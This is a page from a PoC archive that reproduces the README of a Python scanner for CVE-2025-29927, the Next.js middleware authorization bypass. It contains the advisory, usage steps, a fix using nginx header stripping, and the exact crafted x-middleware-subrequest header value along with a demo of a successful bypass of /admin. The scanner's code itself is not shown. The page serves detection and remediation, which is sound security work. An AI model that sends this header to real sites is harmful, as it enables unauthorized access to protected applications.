Goal Reached Thanks to every supporter β€” we hit 100%!

Goal: 1000 CNY Β· Raised: 1000 CNY

100.0%

CVE-2025-29927 PoC β€” Authorization Bypass in Next.js Middleware

Source
Associated Vulnerability
Title:Authorization Bypass in Next.js Middleware (CVE-2025-29927)
Description:Next.js is a React framework for building full-stack web applications. Starting in version 1.11.4 and prior to versions 12.3.5, 13.5.9, 14.2.25, and 15.2.3, it is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware. If patching to a safe version is infeasible, it is recommend that you prevent external user requests which contain the x-middleware-subrequest header from reaching your Next.js application. This vulnerability is fixed in 12.3.5, 13.5.9, 14.2.25, and 15.2.3.
Description
πŸ” Python-based smart scanner for CVE-2025-29927 β€” Next.js middleware authentication bypass vulnerability. Detects meta refresh, keyword-based redirects, and more.
Readme

# πŸ” CVE-2025-29927 - Next.js Middleware Bypass Detector

This Python-based smart scanner helps detect the **CVE-2025-29927** vulnerability in Next.js applications β€” a critical middleware bypass that allows attackers to skip authentication using a crafted HTTP header.

> 🧠 The tool identifies not only HTTP redirects but also client-side redirection mechanisms such as `<meta http-equiv="refresh">`, keyword-based login redirects, and silent auth bypasses.

---

## πŸš€ Features

- βœ… Interactive input (target URL and path)
- βœ… Smart detection of:
  - `x-middleware-subrequest` bypass headers
  - `<meta refresh>` based redirects
  - HTML content with keywords like `login`, `sign in`, `authentication`
- βœ… Color-coded CLI output:
  - 🟩 Green for 2xx responses
  - 🟨 Yellow for 3xx
  - πŸŸ₯ Red for 4xx/5xx
- βœ… Early exit if bypass is successful
- βœ… Easy to extend and customize

---

## πŸ“Έ Demo

```
$ python3 CVE-2025-29927.py

🌐 Enter the target site URL (e.g. http://localhost:3000): http://vulnerable.local
πŸ“ Enter the protected path (e.g. /dashboard): /admin

β†’ Testing with header: middleware:middleware:middleware:middleware:middleware
   ↳ HTTP Status: 200
   ↳ Redirect detected: No

βœ… VULNERABLE! Bypass successful with header:
   x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
```

---

## πŸ§‘β€πŸ’» How to Use

### 1. Clone the repository:

```bash
git clone https://github.com/sagsooz/CVE-2025-29927.git
cd CVE-2025-29927
```

### 2. Install dependencies:

```bash
pip install -r requirements.txt
```

### 3. Run the script:

```bash
python3 CVE-2025-29927.py
```

---

## πŸ“‚ Project Structure

```
.
β”œβ”€β”€ CVE-2025-29927.py   # Main interactive scanner
β”œβ”€β”€ requirements.txt            # Python dependencies
└── README.md                   # This file
```

---

## πŸ“¦ requirements.txt

```txt
requests
beautifulsoup4
colorama
```

---

## πŸ›‘οΈ How to Fix

If your app is affected, do the following:

1. **Update Next.js** to `v15.2.3` or later (or `14.2.25+` / `13.5.7+`)
2. **Harden middleware routing** and avoid relying solely on middleware for authentication.
3. **Strip x-middleware-subrequest header** at the edge (e.g. Nginx):

```nginx
proxy_set_header x-middleware-subrequest "";
```

---

## ℹ️ About the Vulnerability

CVE-2025-29927 allows attackers to bypass Next.js middleware checks by manipulating the `x-middleware-subrequest` header with crafted values such as:

```
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
```

In vulnerable versions, this disables middleware execution completely β€” allowing direct access to protected routes like `/dashboard`, `/admin`, etc.

---

## πŸ“¬ Contact

Maintained by: [@mrzblackhat](https://t.me/mrzblackhat)  
Feel free to contact me on Telegram for suggestions, improvements, or contributions.

---

## 🏷 Tags

`next.js` `CVE-2025-29927` `bugbounty` `middleware bypass` `authentication` `web security` `python security scanner` `ethical hacking`

---

## πŸ“„ License

This tool is provided for **educational and research purposes only**. Use responsibly.
File Snapshot

[4.0K] /data/pocs/bb682c324ce49fd9e8ec603d0403e4dc639d4b2c β”œβ”€β”€ [3.7K] CVE-2025-29927.py β”œβ”€β”€ [3.1K] README.md └── [ 33] requirements.txt 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers β€” if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online β€” thank you for the support. View subscription plans β†’